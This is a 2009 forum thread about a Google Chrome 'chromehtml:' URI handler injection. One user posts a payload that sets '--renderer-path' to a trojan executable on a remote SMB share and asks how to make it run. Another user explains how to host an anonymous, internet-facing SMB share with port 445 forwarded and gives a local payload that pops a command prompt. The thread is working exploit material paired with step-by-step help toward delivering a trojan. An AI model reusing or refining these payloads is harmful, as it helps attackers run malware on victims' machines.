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PostPosted: Mon Feb 02, 2009 2:33 pm Reply with quote
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waraxe wrote:
UXo wrote:
Waraxe , I need some help about the execution of an other file , I have try some test to check if it will poped or not , It doesn't working . .

Code:
chromehtml:"%20--renderer-path="\\URL.com\trojan.exe"%20--no-sandbox


can I got a solution about this?, Thanks in advanced.


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This is not http protocol, it's SMB (windows shares). Attacker must use ip address to windows box with shares open to Internet. SMB port 445 must be not blocked by firewall, use port forwarding in router if needed. Share must be accessible anonymously, without credentials.
Have you tried local version with calc or cmd? Does it work locally?


But how i can creat a SMB port to got a IP address. . . .?
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PostPosted: Mon Feb 02, 2009 3:12 pm Reply with quote
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PostPosted: Mon Feb 02, 2009 3:18 pm Reply with quote
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UXo wrote:
waraxe wrote:
UXo wrote:
Waraxe , I need some help about the execution of an other file , I have try some test to check if it will poped or not , It doesn't working . .

Code:
chromehtml:"%20--renderer-path="\\URL.com\trojan.exe"%20--no-sandbox


can I got a solution about this?, Thanks in advanced.


/UXe
Cool


This is not http protocol, it's SMB (windows shares). Attacker must use ip address to windows box with shares open to Internet. SMB port 445 must be not blocked by firewall, use port forwarding in router if needed. Share must be accessible anonymously, without credentials.
Have you tried local version with calc or cmd? Does it work locally?


But how i can creat a SMB port to got a IP address. . . .?


Can you get it working locally?

Code:

chromehtml:"%20--renderer-path="cmd"%20--no-sandbox


Try it and if you are successful with local exploitation (command prompt window will pop up), then next you can try remote version. Do you use windows? XP? Vista?
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PostPosted: Mon Feb 02, 2009 3:59 pm Reply with quote
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yes yes , the calc working 100% is poped , but i need to execute another file like *trojan server*, what i must do? , I dont know a lot about SMB, you understand me? Crying or Very sad , And im using windows XP sp2
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PostPosted: Fri Feb 06, 2009 1:01 am Reply with quote
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waraxe wrote:
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-AO- wrote:
Are you sure you have calc installed? Laughing

Works for me Smile


I definitely have calc installed and I'm getting the same error message - it doesn't matter whether I get it from a local file of served from a local web server.

Check you IE settings, maybe there is some setting you guys have that we don't/ My IE definitly doesn't know how to handle Chomehtml:


If "chromehtml:" in IE will not trigger Chrome, then you just don't have chrome URI handler installed to your system registry ...


Well, I guess I don't. Not only did you find the hole, you found the patch.
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